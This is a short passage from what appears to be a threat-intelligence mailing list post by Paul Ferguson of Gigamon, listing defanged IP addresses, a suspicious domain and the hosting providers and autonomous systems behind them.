74.63.242[.]18 Non-authoritative answer: Name: nottspcrepair[.]co.uk Address: 185.38.44[.]163 AS | IP | AS Name 14061 | 68.183.65[.]234 | DIGITALOCEAN-ASN - DigitalOcean, LLC, US (shared hosting) 16276 | 158.69.127[.]22 | OVH, FR (shared hosting) 51167 | 173.249.2[.]31 | CONTABO, DE (shared hosting) 46475 | 74.63.242[.]18 | LIMESTONENETWORKS - Limestone Networks, Inc., US (shared hosting) 33182 | 185.38.44[.]163 | DIMENOC - HostDime.com, Inc., US (shared hosting) 44099 | 31.12.67[.]62 | RUNISO-AS RUNISO Autonomous System, FR (appears to be stand-alone IP, no PTR record) FYI, - ferg — Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, Washington, USA

3 3